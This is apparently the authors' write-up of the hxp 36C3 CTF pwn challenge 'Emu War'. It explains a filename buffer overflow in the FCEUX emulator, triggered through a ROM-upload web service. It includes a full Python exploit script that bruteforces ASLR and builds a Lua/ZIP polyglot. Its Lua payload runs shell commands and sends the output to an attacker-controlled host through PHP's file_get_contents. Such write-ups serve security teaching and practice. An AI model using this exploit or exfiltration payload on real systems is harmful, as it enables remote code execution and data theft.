# hxp 36C3 CTF: Emu War

###### zahjebischte, pwn (unsolved)

> Time for an [Emu War](https://en.wikipedia.org/wiki/Emu_War).  
>  
> Pl0x upload your coolest ROMs,
> [here](https://2019.ctf.link/assets/files/zahjebischte-71a96b9be2208733.nes)
> is mine :>.  
>  
> ![An actual emu war](/assets/img/posts/63-emu_war/small-emu.jpg)  
>  
> Download: [Emu
> War-35eccd2af489ec05.tar.xz](https://2019.ctf.link/assets/files/Emu%20War-35eccd2af489ec05.tar.xz)
> (495.9 KiB)  
> Connection: `http://78.47.138.71:65000/`

This challenge allows uploading ROMs to an online service. ROMs are stored in  
a per-user `files/$random_hex_string/` directory, as `category/name` (both of  
which are not sanitized, but PHP applies `basename` to the filename itself).  
In theory, this allows path traversal, but the challenge setup should prevent  
access to any critical information. However, we _can_ control the path that is  
passed to the `thumbnail.sh` script.

`thumbnail.sh` seems like a lot, but all it really does is spawn `Xvfb`,
launch  
`fceux` with the user-provided ROM, take a screenshot, and then clean up.

Within FCEUX, there are buffer overflows and calls to `strcpy` _everywhere_,
so  
there may well be solutions that differ a little, but that is OK. The
reference  
solution exploits a buffer overflow in `iNESLoad` (ines.cpp:900), where the
path  
of the ROM file (generally `argv[1]`) is copied without checks into the global  
`LoadedRomFName` buffer (which is only 2048 bytes large):

![Vulnerable part of the source code](/assets/img/posts/63-emu_war/source.png)

To get to that point, we need to supply a valid ROM in iNES format. Because
the  
filename is so long, we also overwrite a bunch of other globals and smash the  
stack in `FCEUI_LoadGameVirtual`, but the attack finishes before we return
from  
that function, so the canary check is never triggered.

If the path is long enough, we overflow `LoadedRomFName` into the `iNESCart`  
global, which contains a function pointer as its first member  
(`CartInfo::Power`).

![Overflow into function pointer](/assets/img/posts/63-emu_war/source-
fnptr.png)

After returning from `iNESLoad`, `FCEU_LoadGameVirtual` eventually calls  
`PowerNES()`, which calls `GameInterface(GI_POWER)`. `GameInterface` is a  
global function pointer that was set in `iNESLoad` to point to `iNESGI`, so  
that we ultimately end up calling `iNES_ExecPower()`. That function sets up
the  
emulator's memory and then calls `iNESCart.Power()`:

![iNES_ExecPower](/assets/img/posts/63-emu_war/source-ines-execpower.png)

To bypass ASLR, we only partially overwrite the pointer in `iNESCart.Power`.
By  
default, it points to the `LatchPower` function (from datalatch.cpp).

Because `strcpy` always writes the null byte, we are somewhat limited in the  
number of functions we can call without bruteforcing too many bits of ASLR
state.  
We limit ourselves to 12 bits of bruteforcing (1 in 4096 attempts, which is  
reasonable). In particular, we can only reach 16 pages past the start of the  
page on which the original function resides, but we can reach _backwards_
quite a  
bit further.

This happens because we assume that our target function is in a range of pages  
with an address scheme of `00????`. If the target is supposed to be _after_
the  
original value, there are at most `0xffff` locations for the original address  
(where everything except for the last two bytes are the same), and I could not  
find anything useful there. On the other hand, if we want the target to be  
_before_ the original value, we can overwrite the third byte with the null
byte  
without any issues as long as the difference between what would map to
`000000`  
(close to our target) and the original function is less than `0x1000000` - a  
factor of 256 more.

The best target that I found is FCEUX's Lua support. FCEUX runs a Lua script
by  
calling `FCEU_LoadLuaCode`, but that requires a path in `rdi`. We can,
however,  
jump into the middle of `FCEU_ReloadLuaCode` to load and run a piece of Lua
code  
in a file named `\xbe` (in bash, you can instead use `$'\276'`):

```x86asm  
; iNES_ExecPower  
call rax

; FCEU_ReloadLuaCode  
mov rsi, 0  
mov rdi, rax  
call FCEU_LoadLuaCode  
```

This works because the byte representation of the `mov rsi, 0` instruction is  
`be 00 00 00 00`, and `rax` still points to that location. Other calls to  
`FCEU_LoadLuaCode` follow exactly the same sequence, but are generally placed  
_after_ the `LatchPower` function, so we cannot reach them. In our build, the  
jump target is at `0x957dd`, so we end our (overflowing) path with the byte  
sequence `dd 87` (which is also a valid UTF-8 character, in case that causes  
trouble). For reference, `LatchPower` is at `0xb7be3`.

Finally, use Lua's `os.execute` to obtain the flag (`cat /flag_*`) and leak
the  
result. As far as I could tell, the version of Lua inside FCEUX does not
support  
network operations, but we know that PHP is installed on the server, so we can  
use `file_get_contents` to connect back to a server controlled by the
attacker:

```lua  
require('os');  
os.execute('php -r
\'file_get_contents("http://192.0.2.42:65000/".urlencode(`cat /flag*`));\'');  
```

The only thing missing is to find a way to keep the `\xbe` file on the server.  
Clearly, we cannot simply upload the Lua script (trying to take a screenshot  
would fail, so the server will remove an invalid ROM), so you need to create a  
file that is both valid Lua code _and_ accepted as a ROM by FCEUX. An easy way  
to do this is to (ab)use FCEUX's ability to extract ROMs from ZIP files (see  
the `TryUnzip` function at file.cpp:189):

\- Wrap the Lua script in a way that the rest of the ZIP file is commented out  
(e.g. start with `--]]` and end with `--[[`)  
\- Store (i.e. without compression) both this Lua script and a valid ROM in a  
ZIP file (e.g. using Python's `zipfile` module)  
\- Wrap the resulting ZIP file in `--[[` and `--]]` to comment out everything  
that is not the Lua script. This breaks some of the length fields inside the  
ZIP file, but FCEUX doesn't really care about that.  
  
Here is the full exploit code (you need to provide a valid NES ROM to `-r`; if  
you do not have access to one, you can use the ROM provided in the challenge  
description):

```python  
#!/usr/bin/env python3

import argparse  
import enum  
import http.server  
import io  
import os  
import random  
import socket  
import string  
import sys  
import threading  
import time  
import urllib.parse  
import zipfile

def as_http(string):  
return textwrap.dedent(string).lstrip('\n').encode().replace(b'\n', b'\r\n')

def random_token():  
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=26))

class upload_status:  
OK = 0  
THUMBNAILER_FAILED = 1  
OTHER_ERROR = 2

def upload(rhost, rport, content, category, filename, phpsessid,
mime='application/x-nes-rom'):  
boundary = random_token() # Literally whatever...  
with socket.socket(socket.AF_INET) as so:  
so.connect((rhost, rport))  
content = b'--' + boundary.encode() + b'\r\n' + \  
b'Content-Disposition: form-data; name="category"\r\n' + \  
b'\r\n' + \  
category + b'\r\n' + \  
b'--' + boundary.encode() + b'\r\n' + \  
b'Content-Disposition: form-data; name="rom"; filename="' + filename +
b'"\r\n' + \  
b'Content-Type: ' + mime.encode() + b'\r\n' + \  
b'\r\n' + \  
content + b'\r\n' + \  
b'--' + boundary.encode() + b'--\r\n'

request = b'POST / HTTP/1.1\r\n' + \  
b'Host: ' + rhost.encode() + b':' + str(rport).encode() + b'\r\n' + \  
b'Cookie: PHPSESSID=' + phpsessid.encode() + b'\r\n' + \  
b'User-Agent: hxp/3.14\r\n' + \  
b'Accept: */*\r\n' + \  
b'Content-Length: ' + str(len(content)).encode() + b'\r\n' + \  
b'Content-Type: multipart/form-data; boundary=' + boundary.encode() + b'\r\n'
+ \  
b'\r\n' + \  
content

so.sendall(request)  
response = so.recv(4096)

if response.startswith(b'HTTP/1.1 302 Found\r\n'): # Redirects on success  
return upload_status.OK, response  
elif b'failed to create thumbnail' in response:  
return upload_status.THUMBNAILER_FAILED, response  
else:  
return upload_status.OTHER_ERROR, response

done_event = threading.Event()  
print_lock = threading.Lock()  
class Handler(http.server.BaseHTTPRequestHandler):  
def respond(self):  
self.send_response(204)  
self.send_header('Content-Length', '0')  
self.end_headers()  
with print_lock:  
print('[*] Handling request from', self.address_string(), file=sys.stderr)  
print(urllib.parse.unquote(self.path.lstrip('/')))  
done_event.set()  
def log_message(self, *args, **kwargs):  
pass # No logging by default.  
do_HEAD = respond  
do_GET = respond

p = argparse.ArgumentParser()  
p.add_argument('-R', '--rhost', help='Address of the target (remote) host',
default='localhost')  
p.add_argument('-p', '--rport', help='Port on the target (remote) host',
default=8019, type=int)  
p.add_argument('-L', '--lhost', help='Address of the listening host from the
remote target', default='127.0.0.1')  
p.add_argument('-P', '--lport', help='Listening port on the local PC',
default=38019, type=int)  
p.add_argument('-S', '--shost', help='Address to listen on (i.e. the local
address of the local host on the accessible interface)', default='0.0.0.0')  
p.add_argument('-c', '--command', help='Command to execute', default='cat
/flag_*')  
p.add_argument('-r', '--rom', help='Valid iNES source ROM',
default='zahjebischte.nes')  
p.add_argument('-j', '--threads', help='Number of request threads to run
simultaneously', default=8, type=int)  
args = p.parse_args()

# Create upload path  
DESIRED_LENGTH = 2146 # This length leads to the correct overflow size  
upload_name = b'\xdd\x87' # Overflow is in the category name, because maximum
filename length is 255.  
path_length = len(b'/var/www/html/files/') + 64 + len(b'/') + len(b'/' +
upload_name) # This is server-generated, with the category name between the
last two slashes  
category_base = b'Pwning'  
category_name = category_base  
while len(category_name) < (DESIRED_LENGTH - path_length):  
category_name += b'/'  
print('[*] Path length is',
len(b'/var/www/html/files/28edb8be371e48f6a178bfe05fef4f591571a37f81e393296cf4be9e5f7bdea8/'
+ category_name + b'/' + upload_name), file=sys.stderr)  
with open(args.rom, 'rb') as rom_file:  
rom = rom_file.read()

# Create polyglot  
polyglot = io.BytesIO()  
lua_pwn = f"""\n--]]\nrequire('os');os.execute('php -r
\\\'file_get_contents("http://{args.lhost}:{args.lport}/".urlencode(`{args.command}`));\\\'');\n--[[\n"""  
with zipfile.ZipFile(polyglot, mode='w', compression=zipfile.ZIP_STORED) as
zf:  
zf.writestr("pwn.lua", lua_pwn.encode())  
zf.write(args.rom, arcname=os.path.basename(args.rom))  
polyglot = b'--[[\n' + polyglot.getvalue() + b'\n--]]\n'

# Start server  
server = http.server.ThreadingHTTPServer((args.shost, args.lport), Handler)  
server_thread = threading.Thread(target=server.serve_forever)  
server_thread.start()

# Run  
index = 1  
index_lock = threading.Lock()  
def run(thread_id):  
global index  
rate = args.threads / 6 # 8 requests per second, but leave some space  
age = 0  
while not done_event.is_set():  
with index_lock:  
this_index = index  
index += 1

if this_index % 100 == 0:  
with print_lock:  
print('[*] Attempt', this_index, file=sys.stderr)

attempt_start = time.perf_counter()  
if attempt_start - age > 15 * 60:  
# 15 minutes passed, change PHPSESSID and try again  
phpsessid = random_token() # Whatever... Make the server use this as our
session ID - has a valid format!  
age = attempt_start  
with print_lock:  
print('[{}] PHPSESSID ='.format(thread_id), phpsessid, file=sys.stderr)  
# Use category_base for this upload to actually make sure the ROM stays on the
server.  
status, response = upload(args.rhost, args.rport, polyglot, category_base,
b'\xbe', phpsessid, 'application/zip')  
if status != upload_status.OK:  
print('[!] Failed to upload polyglot', file=sys.stderr)  
print('[!] Response was', response, file=sys.stderr)  
os._exit(1)

status, response = upload(args.rhost, args.rport, rom, category_name,
upload_name, phpsessid)  
if status != upload_status.THUMBNAILER_FAILED:  
with print_lock:  
print('[!] Upload failed for attempt', this_index, file=sys.stderr)  
print('[!] Response was', response, file=sys.stderr)  
attempt_end = time.perf_counter()  
wait_time = rate - (attempt_end - attempt_start)  
if wait_time > 0:  
time.sleep(wait_time)

threads = []  
for thread_id in range(args.threads - 1):  
thread = threading.Thread(target=run, args=(thread_id + 1,))  
threads.append(thread)  
thread.start()  
run(args.threads) # Last thread is the main thread

for thread in threads:  
thread.join()  
server.shutdown()  
server_thread.join()  
```

This will usually take a few thousand attempts, so spin it up, wait 15
minutes,  
and pick up your flag. Make sure, however, that you are actually listening and  
reachable for the back-connection (you can also listen on a server with `nc`
and  
just manually interrupt the exploit when the flag shows up there in case you
do  
not have a public IP address):

```  
hxp{if_you_are_happy_and_you_know_it_use_strcpy}  
```  

Original writeup (https://hxp.io/blog/63/hxp-36C3-CTF-Emu-War/).